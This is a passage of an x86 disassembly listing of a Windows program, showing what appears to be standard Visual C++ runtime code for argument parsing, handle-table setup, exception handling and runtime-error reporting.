loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB

loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------

loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------

loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------

loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi

loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1

loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx

loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410

loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D

loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------

loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]

loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]

loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------

loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi

loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------

loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0

loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4CDB70
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_4CDB70, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------

loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		nop
		call	near ptr 26009E1h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_4CDB70, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------

loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565

loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6

loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509

loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB

loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx

loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]

loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		nop
		call	near ptr 2600C30h
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6

loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		nop
		call	near ptr 26009E1h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6

loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A

loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580

loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------

loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch

loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		nop
		call	near ptr 2600C87h
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax

loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx

loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_4CECE0, esi
		mov	dword_4CEDE0, 20h
		lea	eax, [esi+100h]

loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4CECE0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------

loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2850000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax

loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_4CEDE0, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_4CECE4

loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_4CEDE0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------

loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_4CEDE0, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------

loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_4CEDE0

loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF

loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_41F6E6

loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9

loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx

loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_4CECE0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------

loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		nop
		call	near ptr 2600790h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741

loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h

loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_4CEDE0
		nop
		call	near ptr 2600964h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------

loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_433C64, 1
		jnz	short locret_41F884

loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_4CDB74
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax

loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4362F8

loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_436388
		jl	short loc_41F898

loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4362F8[esi]
		jnz	loc_41F9D5
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_433C64, 1
		jz	loc_41F9AF

loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h

loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_4362FC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------

loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4362FC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 2600790h
		nop
		push	eax
		call	near ptr 2650000h
		nop

loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_4CDB78
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------

loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_4CECC0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------

loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi

loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_4CECC0, eax

loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_4CECC0, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx

loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_436388

loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_4CDCB0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_436608
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_436398

loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9

loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4363F8
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_4CD9F4, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_4CDA48, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_433E7C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4CDA58
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61

loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh

loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDB7C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------

loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	ebx
		nop
		call	near ptr 25F07C7h
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax

loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_4CDB7C, eax

loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_4CDA48

loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25F07C7h
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax

loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2630000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2630000h
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax

loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
